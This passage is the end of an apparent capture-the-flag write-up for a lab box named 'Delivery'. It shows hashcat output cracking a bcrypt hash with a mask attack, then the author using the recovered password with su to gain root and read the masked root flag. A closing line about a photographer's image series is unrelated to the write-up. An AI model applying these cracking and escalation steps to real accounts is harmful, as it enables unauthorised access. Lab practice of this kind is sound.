Speed.#1.........:       11 H/s (5.21ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 1/1 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidates.#1....: PleaseSubscribe! -> PleaseSubscribe!

Approaching final keyspace - workload adjusted.  

Session..........: hashcat                       
Status...........: Exhausted
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Sat Jan 23 08:24:13 2021 (4 secs)
Time.Estimated...: Sat Jan 23 08:24:17 2021 (0 secs)
Guess.Mask.......: PleaseSubscribe!?a [17]
Guess.Queue......: 2/5 (40.00%)
Speed.#1.........:       21 H/s (8.68ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests
Progress.........: 95/95 (100.00%)
Rejected.........: 0/95 (0.00%)
Restore.Point....: 95/95 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidates.#1....: PleaseSubscribe!{ -> PleaseSubscribe!}

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Sat Jan 23 08:24:17 2021 (4 secs)
Time.Estimated...: Sat Jan 23 08:24:21 2021 (0 secs)
Guess.Mask.......: PleaseSubscribe!?a?a [18]
Guess.Queue......: 3/5 (60.00%)
Speed.#1.........:       29 H/s (8.04ms) @ Accel:2 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 104/9025 (1.15%)
Rejected.........: 0/104 (0.00%)
Restore.Point....: 100/9025 (1.11%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:960-1024
Candidates.#1....: PleaseSubscribe!"  -> PleaseSubscribe!21

Started: Sat Jan 23 08:24:09 2021
Stopped: Sat Jan 23 08:24:22 2021

That's fantastic, it works. Well, take the root flag now will be a joke!

maildeliverer@Delivery:~$ su
Password: 
root@Delivery:/home/maildeliverer# cat /root/root.txt 
4******************************0
root@Delivery:/home/maildeliverer# 

And that's all folks... thanks for reading, have a nice day and enjoy your hack!

The images used in this weeks edition were created by photographer and director Brian Cummings. The series looks back at the summer that wasn’t and how we adapted to isolation and the new abnormal.